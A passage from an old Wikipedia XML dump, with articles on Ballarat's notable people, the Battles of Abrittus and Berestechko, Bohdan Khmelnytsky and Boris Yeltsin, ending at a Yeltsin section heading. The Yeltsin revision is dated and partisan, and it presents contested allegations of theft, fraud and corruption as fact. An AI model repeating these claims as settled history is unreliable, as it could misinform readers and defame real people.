* [[George Cardinal Pell]], Archbishop of Sydney, 2001-present
* [[Frank Fenner]], virologist
* [[David Fleay]] (b. 1907) - [[natural history|naturalist]], and first breeder of the [[Platypus]]
* [[Leslie Morshead]], regarded as one of Australia's two greatest generals
* [[Maxine Klibingaitis]], Australian actress
* [[James Scullin]], Prime Minister of Australia, 1930-31
* [[Kimberley Davies]] - [[actor]], appeared in ''[[Neighbours]]''
* [[Tony Lockett|Tony Lockett]], [[Australian Football League]] footballer and holder of the all-time goalkicking record
* [[Steve Moneghetti]], former [[Summer Olympic Games|olympic]] [[Marathon (sport)|marathon]] runner

==External links==
*[http://www.visitballarat.com.au Ballarat Tourism website]
*[http://www.ballarathistoricalsociety.com/ Ballarat Historical Society]
*[http://ballarat.cityguide.net.au/ Ballarat CityGuide]
*[http://www.ballarat.vic.gov.au/ Local Council]
*[http://www.myballarat.com/ Residents Portal]
*[http://www.thecourier.com.au/ The Courier (Local Newspaper)]
*[http://www.noisefm.com.au/ Noise FM 87.8]
*[http://www.ballarat.edu.au/ University of Ballarat]
*[http://www.travelvictoria.com.au/ballarat/photos/ Photos from around Ballarat]
{{Victorian cities}}

[[Category:Cities in Victoria]]
[[Category:Ballarat]]

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  </page>
  <page>
    <title>Battle of Aboukir</title>
    <id>4974</id>
    <revision>
      <id>15903221</id>
      <timestamp>2002-06-11T13:26:38Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#redirect [[Battle of Abukir]]
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  <page>
    <title>Battle of Abrittus</title>
    <id>4975</id>
    <revision>
      <id>42064293</id>
      <timestamp>2006-03-03T15:43:11Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <comment>added battlebox</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Abrittus
|partof=the Roman-Barbarian Wars
|image=
|caption=
|date=[[July 1]], [[251]]
|place=Razgrad, [[Bulgaria]]
|casus=
|territory=
|result=Gothic victory
|combatant1=[[Roman Empire]]
|combatant2=[[Goths]]
|commander1=[[Trajan Decius]]&amp;dagger;&lt;br/&gt;[[Herennius Etruscus]]&amp;dagger;
|commander2=[[Cniva]]
|strength1=Unknown
|strength2=Unknown
|casualties1=Unknown
|casualties2=Unknown
}}

The '''Battle of Abrittus''' (now Razgrad, [[Bulgaria]]), also known as the '''Battle of Forum Terebronii,''' occurred on [[July 1]], [[251]], between the [[Roman Empire|Roman]] [[legion]]s and [[Goths]] under King [[Cniva]]. The Romans were defeated, and the [[Roman Emperors|Emperor]] [[Decius]] and his son [[Herennius Etruscus|Herennius]] were both killed during battle, largely thanks to the failure of the general [[Trebonianus Gallus]] to attack aggressively.  Decius became the first Roman emperor killed in a battle with barbarians.

Gallus, who became [[Roman Emperors|emperor]] upon Decius' death, negotiated a treaty with the Goths under duress, which allowed them to keep their booty and return to their homes on the other side of the Danube, while at the same time promising an annual tribute in return for the Goths' promise to respect Roman territory.

[[Ammianus Marcellinus]] (31.5.12-17) rates this reverse with the most serious military disasters of the [[Roman Empire]] to his time: [[Publius Quinctilius Varus|Varus]]' defeat at the [[Battle of the Teutoburg Forest]], the incursions of the [[Marcomanni]] during the reign of [[Marcus Aurelius]], and the [[Battle of Adrianople (378)|Battle of Adrianople]].

[[Category:Crisis of the Third Century]]
[[Category:Battles of the Roman Empire|Abrittus 251]]
[[Category:Battles of the Goths|Abrittus 251]]
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  <page>
    <title>Battle of Adrianapol</title>
    <id>4976</id>
    <revision>
      <id>15903223</id>
      <timestamp>2002-10-10T08:47:14Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Battle of Adrianople]]</comment>
      <text xml:space="preserve">#REDIRECT [[Battle of Adrianople]]</text>
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  <page>
    <title>Battle of Adrianopolis</title>
    <id>4977</id>
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      <id>15903224</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Battle of Adrianople]]
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  <page>
    <title>Battle of Berestechko</title>
    <id>4978</id>
    <revision>
      <id>38490764</id>
      <timestamp>2006-02-06T18:21:23Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <comment>link [[Chmielnicki Uprising]]</comment>
      <text xml:space="preserve">[[Image:Bogun k.jpg|thumb|[[Ivan Bogun]] fighting the Poles in the Battle of Berestechko.]]
The '''Battle of Berestechko''' in Volhynia, [[Ukraine]], part of the [[Chmielnicki Uprising]], lasted from [[June 28]] to [[June 30]], [[1651]], between the [[Poland|Polish]] army under [[Rulers of Poland|King]] [[John II of Poland|Jan II Casimir]] and Ukrainian [[Cossack]] and peasant forces, led by [[Hetman]] [[Bohdan Khmelnytsky]], and their [[Tatars|Crimean Tatar]] allies. The Polish army had around 57,000 troops, the Ukrainians around 100,000 plus 25,000 Tatar cavalry. The battle was won by the Poles after the Tatars, dispirited after the death of their leader [[Tugay Bey]], deserted the battlefield. As a result, Khmelnytsky was forced to sign the [[Treaty of Bila Tserkva]] with the Poles.

[[Category:1651]]
[[Category:Battles of Poland|Berestechko]]
[[Category:Battles of Ukraine|Berestechko]]

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[[pl:Bitwa pod Beresteczkiem]]
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[[uk:Берестецька битва]]</text>
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  </page>
  <page>
    <title>Boris Nikolaevich Yeltsin</title>
    <id>4979</id>
    <revision>
      <id>15903226</id>
      <timestamp>2002-05-01T18:32:03Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
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      <comment>#redirect[[Boris Yeltsin]]</comment>
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  </page>
  <page>
    <title>Bohdan Khmelnytsky</title>
    <id>4980</id>
    <revision>
      <id>41634889</id>
      <timestamp>2006-02-28T18:03:50Z</timestamp>
      <contributor>
        <username>Mathiasrex</username>
        <id>776781</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Chmielnicki.jpg|200px|right|Bohdan Khmelnytsky]]
[[Image:BChmielnicki.JPG|166px|right|thumb|Bohdan Chmielnicki]]
'''Bohdan Zynovii Mykhailovych Khmel'nyts'kyi''' (Богдан Зиновій Михайлович Хмельницький in [[Ukrainian language|Ukrainian]], commonly transliterated as '''Khmelnytsky'''; known in [[Polish language|Polish]] as '''Bohdan Zenobi Chmielnicki'''; in [[Russian (language)|Russian]] as '''Bogdan Khmel'nitsky''') (''c.'' [[1595]] &amp;ndash; [[August 6]], [[1657]]) was a [[Polish-Lithuanian Commonwealth]] noble of [[Poles|Polish]] or [[Ruthenia|Ruthenian]] origin, leader of the [[Zaporizhzhia (region)|Zaporozhia]]n [[Cossack Hetmanate]], [[hetman]] of [[Ukraine]], noted for his revolt against [[Polish-Lithuanian Commonwealth|Poland]] ([[1648]] &amp;ndash; [[1654]]) and the [[Treaty of Pereyaslavl]] which eventually led to the annexation of [[Ukraine]] by the [[Russian Empire]].

== Biography ==
=== Early life ===
[[Image:Chmielnicki_ukraine_banknote_5_new.gif|thumb|right|300px|5 [[Hryvnia]] Ukrainian [[banknote]] depicting Bohdan Khmelnytsky]]
Khmelnytsky was probably born in [[Chyhyryn]], in [[Ukraine]]; it is unclear whether to a family of [[Ruthenians|Ruthenian]] nobility or to [[Poles|Polish]] nobility of [[Abdank]] Coat of Arms who had immigrated to Ukraine from [[Masovia]]. Khmelnytsky was educated by the [[Society of Jesus|Jesuits]] in [[Lviv]]. Unlike many of their other pupils, he did not embrace [[Roman Catholic Church|Roman Catholicism]] but early in life became indifferent to the faith. Later he seemed to belong to the [[Greek Orthodox]] faith, to which most of the Cossacks and the [[Ruthenian]] [[peasants]] belonged. He had two sons - [[Yuriy Khmelnytsky|Yuriy]] and [[Tymofiy Khmelnytsky|Tymofiy]] (Tymish). He was deprived of his estate of [[Subotiv]] by [[Daniel Czapliński]], the [[bailiff]] of Chyhyryn. At this time he was still in the subordinate position of a &quot;sotski&quot; (an officer over a ''sotnia'', or hundred cavalrymen) of the [[Registered Cossacks]], subject to the Polish [[magnate]] [[Stanislaw Koniecpolski|Stanisław Koniecpolski]]. With Koniecpolski he took part in the disastrous [[Battle of Cecora]] in [[1620]]. Czapliński availed himself of Khmelnytsky's absence to raid the estate, during which Khmelnytsky's young son Yuriy received injuries from which he ultimately died, and Khmelnytsky's second wife was carried off.

=== Cossack leader ===
As one of Czyhrynian and  Zaporozhian  [[Cossacks]], he fought against Turks and Tatars in 1625-1630.
He also participated in the Cossack rebellions of 1632 and 1637. 
In October 1645 he was invited to France by Cardinal Jules [[Mazarin]] with two regiments of Cossacks to participate in the war against Spain. Due to his military skills [[Dunkirk]] was taken by assault in two days.

=== The Uprising ===
''Main article: [[Chmielnicki Uprising]]''
[[Image:Bohdan Chmielnicki z Tuhaj Bejem pod Lwowem Matejko.JPG|280px|left|thumb|&quot; Bohdan Chmielnicki with [[Tugay Bey]] (Tuhaj Bej) at [[Lwów]]&quot;, oil on canvas by [[Jan Matejko]], 1885, National Museum in [[Warsaw]]. [[Chmielnicki Uprising]] 1648-1654]]

For centuries after the creation of the [[Polish-Lithuanian Commonwealth]], the [[Orthodox]] people of [[Ruthenia]] had felt oppressed by the Polish nobles, [[Catholic]] priests and [[Jew]]ish traders. Although [[Ruthenian]] [[nobility]] enjoyed full rights, they were quickly [[polonize]]d and therefore were alienated from the common people; the advent of the [[Counter-Reformation]] worsened the relationship between the Orthodox and Catholic churches. Unwilling to attend to the details of administration themselves, Polish [[magnate]]s made [[Jew]]ish traders their go-betweens in transactions with the [[peasants]] of [[Ukraine]]. The magnates sold and leased certain privileges to the [[Jew]]s for a lump sum and, while enjoying themselves at their courts, left it to the Jewish leaseholders and collectors to become objects of hatred to the oppressed and long-suffering peasants. Although Khmelnytsky's personal resentment influenced his ultimate decision to rid Ukraine of Polish domination, it seems that his ambition to secure the Nobles' privileges and the Cossacks' independence, was the main motive that led him to instigate an uprising of the [[Ruthenians|Ruthenian people]] against them, known after him as the [[Chmielnicki Uprising]]. 

Khmelnytsky told the people that the Poles had sold them as slaves &quot;into the hands of the accursed Jews&quot;. With this as their battle-cry, the Cossacks killed a large number of Jews during the years 1648&amp;ndash;1649.  The precise number of dead may never be known, but the decrease of the Jewish population during that period is estimated at 50,000 to 200,000, which also includes deaths from diseases and Tatar imprisonment.

These events also initiated a series of campaigns (which began the period in Polish history known as [[The Deluge]]) that temporarily freed [[Ukraine]] from Polish domination but in time subjected it to Russian domination. Successes at [[Battle of Yellow Waters|Zhovti Vody]], [[Battle of Korsun]] and [[Battle of Pilavtsi]] (respectively, in Polish, Żółte Wody, Korsuń, and Piławce) against Hetman [[Mikolaj Potocki|Mikołaj Potocki]] led to the Polish king giving royal recognition for the contentious privileges under the [[Treaty of Zborov]].  Hostilities resumed when the Sejm refused to recognise the provisions of the treaty. After Khmelnytsky's forces were betrayed by their former allies, the [[Tatars]], they suffered a massive defeat in [[1651]] at the [[Battle of Beresteczko]], and were forced at [[Bila Tserkva]] to accept a loser's treaty. A year later, the Cossacks had their revenge at the [[Battle of Batoh]]. Ukraine was still perilously weak, and in [[1654]] Khmelnytsky persuaded the Cossacks to ally with the Russian tsar in the [[Treaty of Pereyaslav]], which eventually led to the incorporation of the [[Left-bank Ukraine]] into [[Russia]].

== Khmelnytsky in Fiction == [[Image:Kiev khmelnitsky.jpg|thumb|300px|Khmelnytsky Monument in downtown Kiev (19th-century photo)]]

[[Sholem Asch]] wrote about Kmelnytsky's cossack war in his book ''[[Al Kiddush Hashem: A Novel of 1648]]'' which describes the massacres of the Jews in horrific detail.

In Poland, Khmelnytsky's war was described in the [[19th century]] by [[Henryk Sienkiewicz]] in his famous novel, ''[[With Fire and Sword]] (Ogniem i mieczem)''. This book was written with a clearly stated intent of raising the national spirit in [[partitions of Poland|partitioned Poland]], and shows the story of Khmelnytsky and the Cossacks from the point of view of the Polish nobles ([[szlachta]]), thus glorifying the Polish side while vilifying the rebels. After Poland was subsumed within the Russian empire, attempts were made to recast Khmelnytsky as an archetype of the freedom loving Pole. Similar efforts to claim Khmelnytsky's heritage were made under the Soviet Union, where Khmelnytsky was recast as a historical leader of proletarian revolution.
In 1999 a Polish movie was made based on ''[[With Fire and Sword]] (Ogniem i mieczem)'', which portrayed a more realistic image of Khmelnytsky, as a complex man and Ukrainian leader with a deep personality who sought justice for the wrongs committed against him. Thus the movie tried to overcome somewhat negative views presented in the original book. It was well received by both Polish and Ukrainian audience.

==See also==
*[[Order of Bogdan Khmelnitsky]], a [[military decoration]] in [[Soviet Union]] and [[Ukraine]]
*[[Bogdan Khmelnitsky Bridge]] in [[Moscow]]

==External links==
* [http://sumy.net.ua/History/map/12!.php Cossack State after 1649 (map)]

[[Category:Jewish history|Khmelnytsky, Bohdan]]
[[Category:Cossacks|Khmelnytsky, Bohdan]]
[[Category:History of Ukraine|Khmelnytsky, Bohdan]]
[[Category:1657 deaths|Khmelnytsky, Bohdan]]
[[Category:Anti-Semitic people|Khmelnytsky, Bohdan]]

[[de:Bohdan Chmelnyzkyj]]
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[[he:בוגדן חמלניצקי]]
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[[ja:ボフダン・フメリニツキー]]
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[[uk:Хмельницький Богдан]]</text>
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    <title>Boris Yeltsin</title>
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      <comment>Revert to revision 41056374 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox_President | name=Boris Yeltsin
| nationality=not-american
| image=Byeltsin.jpg
| order=1st [[President of Russia]]
| term_start=[[July 10]], [[1991]]
| term_end=[[December 31]], [[1999]]
| predecessor=None
| successor=[[Vladimir Putin]]
| birth_date=[[February 1]], [[1931]]
| birth_place=Butka, [[Sverdlovsk Oblast|Sverdlovsk]], &lt;br&gt;[[Soviet Union]]
| dead=alive
| death_date=
| death_place=
| spouse=[[Naina Yeltsina]]
| party=None
| vicepresident=
}}
{{Redirect|Yeltsin}}
'''Boris Nikolayevich Yeltsin''' ([[Russian language|Russian]]: Борис Николаевич Ельцин; {{Audio|ru-Boris Nikolayevich Yeltsin.ogg|listen}}) (born [[February 1]], [[1931]]) was [[President of Russia]] from [[1991]] to [[1999]]. 

==Early life==
Boris Yeltsin was born to a peasant family in Butka village, Talitsa district, [[Sverdlovsk Oblast|Sverdlovsk region]]. His father, Nikolai Yeltsin, was convicted of anti-Soviet agitation in 1934 and served in a [[gulag]] for three years. After his release he remained unemployed for a while and then worked in construction. His mother, Klavdiya Vasilyevna Yeltsina, worked as a seamstress.  

Yeltsin studied at [[Pushkin High School]] in Berezniki, [[Perm]] region. He studied well, and during the whole stay at school he was the class leader (староста). However, he had problems with discipline. He participated in street fights and he was constantly in conflict with someone: teachers at school, his father. In these conflicts he often came out a winner. Thus, when his 7-year education attestation was revoked, he demanded that a committee was formed to invistigate this case and eventually had the attestation given back to him and the teacher responsible for revokation fired. He passed the 10-year education exams without taking the full course. 
He was fond of sports: [[skiing]], [[gymnastics]], [[volleyball]], [[track and field]], [[boxing]], [[wrestling]], despite losing two fingers in a childhood accident (said to have been the result of playing with a live grenade). 

Yeltsin received higher education at the [[Ural Polytechnic Institute]] in [[Sverdlovsk]], majoring in [[construction]], and graduated in [[1955]]. The theme of his degree paper was &quot;Television Tower.&quot;

In 1955-1957 he worked as a foreman at the building trust Uraltyazhtrubstroi. In 1957-1963 he worked in Sverdlovsk,and he was promoted from construction site superintendent to chief of the Construction Directorate with the Yuzhgorstroi Trust. In 1963 he became chief engineer, and in 1965, head of the Sverdlovsk House-Building Combine. He joined the ranks of [[CPSU]] [[nomenclatura]] in 1968 when he was appointed head of construction with the Sverdlovsk Regional Party Committee. In 1975, he became secretary of the regional committee in charge of the region's industrial development.

==CPSU member==
Member of the [[Communist Party of the Soviet Union]] (CPSU) from [[1961]] to [[July]] [[1990]], he began working in the Communist administration in [[1968]]. He later commented on his [[communist]] views:

:'' &quot;I sincerely believed in the ideals of justice propagated by the party, and just as sincerely joined the party, made a thorough study of the charter, the program and the classics re-reading the works of Lenin, Marx and Engels.&quot; ''

In [[1977]] as  party boss in Sverdlovsk, he ordered the destruction of the [[Ipatiev House]] where the last [[Nicholas II of Russia|Tsar]] had been murdered. The [[Ipatiev House]] was demolished at night time on September 17-18, 1977. In addition, during Yeltsin's stay in Sverdlovsk, a CPSU palace was built which was named &quot;White Tooth&quot; by the residents. During the 30 years of his activities as a [[communist]], Yeltsin developed connections with key people in the Soviet power structure. 

Appointed to the [[Politburo of the CPSU Central Committee|Politburo]] &lt;!--page 77, ''The Strange Death of the Soviet Empire'', ISBN 0805041540--&gt;, Yeltsin was also &quot;Mayor&quot; of [[Moscow]] (First Secretary of the [[Communist Party of the Soviet Union|CPSU]] Moscow City Committee) from [[December 24]] [[1985]] to [[1987]]. He was promoted to these high-rank positions by [[Mikhail Gorbachev]] and [[Yegor Ligachev]] who presumed that Yeltsin would be &quot;their man&quot;. In addition, Yeltsin was given the country house (dacha) which was previously occupied by Gorbachev. During this period, Yeltsin portrayed himself as a reformer and populist (for example, he took a trolleybus to work) and fired and reshuffled his staff several times. His initiatives became popular among Moscow residents.

In 1987, after a confrontation with hardliner [[Yegor Ligachev]] and eventually with [[Mikhail Gorbachev]], Yeltsin was sacked from  his high-ranked party positions. On October 21, 1987, without prior approval by Gorbachev, Yeltsin, at the plenary meeting of the Central Commitee of the [[CPSU]] lashed out at the Politburo expressing his discontent with the slow pace of reform in society and servility shown to the General Secretary and asked to resign from the Politburo adding that the City Committee would decide whether he should resign from the post of first secretary of the Moscow City Party Committee. In his reply, Gorbachev accused Yeltsin of &quot;political immaturity&quot; and &quot;absolute irresponsibility,&quot;  and raised the question of relieving Yeltsin of his post of first secretary at the plenary meeting of the Moscow City Party Committee. Nobody backed Yeltsin. Criticism of Yeltsin continued on November 11, 1987 at the meeting of the Moscow party committee. He admitted that his speech had been a mistake. Yeltsin was fired from the post of first secretary of the Moscow City Committee. He was not exiled or imprisoned as once would have been the consequence, but demoted to the position of First Deputy Commissioner for the State Committee for Construction.  After being fired, Yeltsin was hospitalized and reportedly (which was confirmed by [[Nikolai Ryzhkov]]) attempted a suicide. Yeltsin was perturbed and humiliated but then plotted his revenge&lt;!--page 86, ''The Strange Death of the Soviet Empire'', ISBN 0805041540--&gt;. &lt;!-- His opening came with Gorbachev's establishment of the [[Congress of People's Deputies]]page 90, ''The Strange Death of the Soviet Empire'', ISBN 0805041540--&gt; He recovered, and started intensively criticizing Gorbachev using the slow pace of reform in the USSR as the major argument.

Yeltsin's criticism of the politburo and Gorbachev led to a smear campaign against him. The organizers of the smear campaign apparently thought that it would be an easy job to get rid of Yeltsin using examples of his awkward behavior. An article published in [[Pravda]] described him as being drunk at a lecture during his visit to the United States, and a TV account of his speech seemed to confirm this information. However, the popular dissatisfaction with the regime was very strong, and any attempt to smear Yeltsin only added to his popularity. Another accident that happened with Yeltsin during this time was him falling from the bridge. Commenting on this event, Yeltsin hinted that he was helped to fall from the bridge by the enemies of [[perestroika]]. However, his opponents suggested that he was simply drunk.

== President of the RSFSR ==
[[Image:1991 coup yeltsin.jpg|right|thumb|250px|Yeltsin (far left) stands on a tank to defy the August coup in 1991.]]
In March [[1989]], Yeltsin who became popular because of his criticism of Gorbachev was elected to the Congress of People's Deputies as the delegate from [[Moscow]] district and gained a seat on the [[Supreme Soviet]]. In May [[1990]], he was elected the chairman of the Supreme Soviet of the [[Russian Soviet Federated Socialist Republic]] (RSFSR). He was supported by both democratic and conservative members of the Supreme Soviet which sought power in the developing political situation in the country. A part of this power struggle was the opposition between power structures of the [[Soviet Union]] and the [[RSFSR]]. In an attempt to gain more power, on [[June 12]], 1990, Congress of People's Deputies of the RSFSR adopted a declaration of sovereignty and, in July, Yeltsin quit the CPSU.

On [[June 12]], [[1991]], Yeltsin won 57 percent of the popular vote in democratic presidential elections for the Russian republic, defeating Gorbachev's preferred candidate, [[Nikolai Ryzhkov]]. In his election campaign, Yeltsin criticized the &quot;dictatorship of the center&quot;, but did not suggest the introduction of market economy. Instead, he said that he would put his head on the railtrack in the event of increased prices. Yeltsin took office on [[July 10]].

On [[August 18]] [[1991]], a [[Soviet coup attempt of 1991|coup]] against Gorbachev was launched by hardline communists headed by [[Vladimir Kryuchkov]]. Gorbachev was held in the [[Crimea]] while Yeltsin raced to the [[White House of Russia]] (his presidential office) in Moscow to defy the coup. The White House was surrounded by the military but the troops defected in the face of mass popular demonstrations, Yeltsin making a memorable speech from the turret of a tank. By [[August 21]] most of the coup leaders had fled Moscow and Gorbachev was &quot;rescued&quot; from the [[Crimea]] and then returned to Moscow. Yeltsin was subsequently hailed by his supporters around the world for rallying mass opposition to the coup.

Although restored to his position, Gorbachev's powers were now fatally compromised. Neither union nor Russian power structures heeded his commands as support had swung over to Yeltsin. Through the fall of [[1991]], the Russian government took over the union government, ministry by ministry. In [[November]] 1991, Yeltsin issued a decree banning the Communist Party throughout the RSFSR.

In early [[December]] 1991, [[Ukraine]] voted for independence from the Soviet Union. A week later, on [[December 8]], Boris Yeltsin met with Ukrainian president [[Leonid Kravchuk]] and the leader of [[Belarus]], [[Stanislau Shushkevich]], in [[Belovezhskaya Pushcha]] residence, where the three presidents announced the dissolution of the USSR and that they would establish a voluntary [[Commonwealth of Independent States]] (CIS) in its place. According to [[Mikhail Gorbachev]], the President of the [[Soviet Union]] at that time, Yeltsin kept the plans of Belovezhskaya meeting in strict secrecy and the main goal of dissolution of the Soviet Union was to get rid of Gorbachev who by that time started to recover his position after the August events. [[Mikhail Gorbachev]] also accuses Yeltsin in violating the people's will expressed at the referendum in which the majority voted to keep the [[Soviet Union]]. 

On [[December 24]], the Russian Federation took the Soviet Union's seat in the [[United Nations]]. The next day, President Gorbachev resigned and the USSR ceased to exist (see [[Collapse of the Soviet Union]]), thereby ending the world's largest and most influential communist regime. Economic relations between the former Soviet republics were severely compromised. Millions of native Russians found themselves in the newly formed &quot;foreign&quot; countries.

==Post-Soviet presidency==
&lt;div style=&quot;float:right; margin-left:10px; margin-right:10px; width:200px&quot;&gt;
[[Image:Boris3.gif|thumb|200px|right|Boris Yeltsin dancing and singing in presidential campaign.]]
[[Image:Clinton Yeltsin sax.jpg|thumb|200px|right|[[Bill Clinton]] plays the saxophone presented to him by Yeltsin at a private dinner in Russia, January 13, 1994]]
&lt;/div&gt;

Following the dissolution of the USSR, the acceleration of economic restructuring became one of Yeltsin's main priorities with his government overseeing a massive privatization of state-run enterprises. However, the Yeltsin government's incompetence and the destructive activities of pro-inflation forces caused the Russian economy to further deteriorate. The country quickly entered into a state of [[anarchy (word)|anarchy]] during which former state property was redistributed. Former [[Communist party]] and [[Komsomol]] [[apparatchiks]], the majority of whom remained in power in the new government structures, were in the best position to acquire unprecedented amounts of wealth. At the same time, entrepreneurs throughout the country were able to start their own businesses.

Yeltsin's reform program took effect on [[January 2]], [[1992]] (see [[Economy of Russia#Economic Reform in the 1990s|Russian economic reform in the 1990s]] for background information). Soon afterward [[price]]s skyrocketed, government spending was slashed, and heavy new [[tax]]es went into effect. A deep [[Credit (finance)|credit]] crunch shut down many [[industry|industries]] and brought about a protracted depression. The people in Yeltsin's circle who controlled credit policy during this time gained huge profits by credit manipulations. At the same time, bank savings of ordinary people were quickly deleted by inflation.

Certain politicians began quickly to distance themselves from Yeltsin's program; and increasingly the ensuing political confrontation between Yeltsin on the one side, and the political opposition to radical economic reform on the other, became centered in the two branches of government. Both camps accused each other of [[corruption]]. [[Aleksandr Rutskoy]] who headed an anti-corruption committee came up with &quot;eleven suitcases&quot; of documents that demonstrated crminal activity of Yeltsin's close associates: deputee premier [[Yegor Gaydar]], state secretary [[Gennadiy Bulbulis]], minister of press and information [[Mikhail Poltoranin]] and former premiers [[Vladimir Shumeiko]] and [[Alexander Shokhin]], chairman of state property comitee [[Anatoly Chubais]] and foreign minister [[Andrei Kozirev]]. Of the 51 cases that Rutskoy reported to state prosecution, 45 were later found correct. In response, Yetsin fired [[Aleksandr Rutskoy]] from the position of the chairman of the anti-corruption committee and accused that Rutskoy was involved in corruption himself and had a Swiss bank account. These allegations were later shown false.

Throughout 1992, opposition to Yeltsin's reform policies grew stronger and more intractable among those concerned about the condition of Russian industry, among regional leaders who wanted more independence from [[Moscow]] and among his rivals fighting for their pieces of state property. Russia's vice president, [[Aleksandr Rutskoy]], denounced the Yeltsin program as &quot;economic genocide.&quot; Leaders of [[petroleum|oil]]-rich republics such as [[Tatarstan]] and [[Bashkiria]] called for full independence from Russia.

Also throughout 1992, Yeltsin wrestled with the Supreme Soviet and the Russian Congress of People's Deputies for control over government, government policy, government banking and property. In 1992 the speaker of the Russian Supreme Soviet, [[Ruslan Khasbulatov]], came out in opposition to the reforms, despite claiming to support Yeltsin's overall goals. 

Congress of People's Deputies attempted to impeach Yeltsin on [[March 26]], [[1993]]. Yeltsin's opponents gathered more than 600 votes for impeachment, but fell 72 votes short.

On [[September 21]], [[1993]], Yeltsin disbanded the Supreme Soviet and Congress of People's Deputies by decree, which was illegal under the [http://www.constitution.garant.ru/DOC_83126.htm#sub_para_N_5301 constitution (1992 edition, in Russian) ], which stated:

:'''Article 121-6.''' ''Authority of the President of Russian Federation cannot be used to change national and state organization of Russian Federation, dissolution or halting activity of any elected organs of state power.'' 

In response, the Supreme Soviet cancelled Yeltsin's presidency in accordance with the Constitution and assigned vice-president Rutskoy the president. Constitution Court confirmed that these actions were legal. Thus, beginning September 23, 1993 Yeltsin technically was no longer the president. This led to a military showdown and the [[Russian constitutional crisis of 1993]]. With military help, Yeltsin held control. The conflict that resulted in a number of civilian casualties was resolved in Yeltsin's favor. A number of paliament members, including Rutskoy who was technically the president, were arrested, and Constitution Court was halted.

New elections of the Supreme Soviet were held on [[December 12]], [[1993]], and Yeltsin's opposition easily won the majority of seats. He, however, obtained practically an absolute power in the country by succeding in changing the Constitution. According to the new Constitution, parliament's power was significantly reduced. According to the new [http://www.departments.bucknell.edu/russian/const/ch4.html Constitution],

:'''Article 84.''' ''The President of the Russian Federation shall: a) call elections to the chambers of the State Duma in accordance with the Constitution of the Russian Federation and federal law; b) dissolve the State Duma in cases and under procedures envisaged by the Constitution of the Russian Federation.''

Despite the effort to &quot;improve&quot; the government, the network of Russian government institutions remained almost as extensive as during the Soviet era. It harbored myriads of [[bureaucrats]] heavily involved in [[bribery]] and [[political corruption|corruption]].

Privatization of state property in 1993 was a very significant event. Officially, privatization was announced as fair distribution of state property among the citizens. In actuality, ordinary citizens obtained nearly worthless vouchers (one voucher was worth one bottle of [[vodka]]), whereas the people at the key positions in the governing structures gained enormous amounts of wealth. In many cases these were former [[communist]]s who were in the best position because of their connections to the government. Privatization was advertized as part of the struggle against the forces that wanted to restore [[communism]] in the country.

After gaining an absolute power in the country, Yeltsin allegedly violated the law by appointing his  relatives to key government positions. His daughter, Tatiana Diatchenko, a computer programer in the past, became a presidential adviser in 1996. These actions were in direct violation of the Russian Federation Law &quot;On the State Service&quot;, which states:

:'''Article 21.''' ''A citizen cannot be accepted to state service in case he/she has is a relative of a state servant and their state service involves direct supervision of on by the other.''

During Yeltsin's presidency, several of his awkward behaviors became widely known. On August 29, 1994, Yeltsin attempted to direct an orchestra during his visit to [[Germany]]. His state during the incident was characterized by the journalist as &quot;unsober&quot;. This episode was captured on tape (see [http://informacia.ru/info/elcin2.jpg Yeltsin directing an orchestra]). In September 1994 (according to General Alexander Korzhakov), Yeltsin ordered his press secretary Vyacheslav Kostikov thrown into [[Volga river]] in order to humiliate him. On September 30, 1994, Yeltsin failed to come out from the plane for an official meeting with the [[Ireland|Irish]] Prime Minister. The official explanation was that he had overslept.

In December [[1994]], Yeltsin ordered the military invasion of [[Chechnya]] in an attempt to restore Moscow's control over the separatist republic. Yeltsin later withdrew federal forces from Chechnya under a [[1996]] peace agreement brokered by [[Aleksandr Lebed]], then Yeltsin's security chief. The deal allowed Chechnya greater autonomy but not full independence (see [[First Chechen War]]).

In [[July]] [[1996]], Yeltsin was re-elected as President with financial support from influential [[business oligarchs]] who previously gained their wealth because of their connections to Yeltsin's administration. According to general Korzhakov, [[Roman Abramovich]] was the major finance manager of Yeltsin's family. It is also alleged that Yeltsin provided Abramovich with protection from prosecution for various criminal activities ranging from stealing diesel fuel to illegally acquiring [[Sibneft]] at a staged contest. Despite only gaining 35 percent of the first round vote in the 1996 elections, Yeltsin successfully defeated his communist rival [[Gennady Zyuganov]] in the runoff election. Later that year, Yeltsin underwent [[heart bypass surgery]] and remained in the hospital for months.

During Yeltsin's presidency, he received 40 billion dollars in funds from the [[IMF]] and other international lending organizations which were supposed to support him politically and help Russia's economy. However, most of these funds were stolen by people from Yeltsin's circle and placed in foreign banks. Some believe that borrowing from the [[IMF]] shortly before the 1998 default was a carefully planned [[fraud]].

In [[1998]], a political and economic crisis emerged when Yeltsin's government defaulted on its debts, causing financial markets to panic and the country's currency, the ruble, to collapse.

On [[August 9]], [[1999]] Yeltsin fired his Prime Minister, [[Sergei Stepashin]], and for the fourth time, fired his entire cabinet. Yeltsin was famous throughout his life for impulsive firing and reshuffling his staff.

During the [[1999]] [[Kosovo war]], Yeltsin strongly opposed the [[NATO]] military campaign against [[Federal Republic of Yugoslavia|Yugoslavia]] and warned of possible Russian intervention if NATO deployed ground troops to Kosovo.

Yeltsin continued as President of [[Russia]] until [[December 31]], [[1999]], but the events of [[1991]] proved to be something of a high-water mark for him historically and personally. His approval ratings plummeted to 5 percent in his last months in office. He resigned on [[December 31]] [[1999]], and in accordance with Russian Constitution, prime minister [[Vladimir Putin]] became an Acting President until new elections were held on [[March 26]] [[2000]].

As an alleged condition of Yeltsin's support of [[Putin]], Putin warranted that neither Yeltsin nor members of his &quot;family&quot; (the popular term that designates the circle of people who governed the country during his presidency) would be prosecuted for unconstitutional use of military force against the lawful parliament, violation of [[law]]s, [[political corruption|corruption]], [[bribery]] or [[treason]].

==Yeltsin's alcoholism==
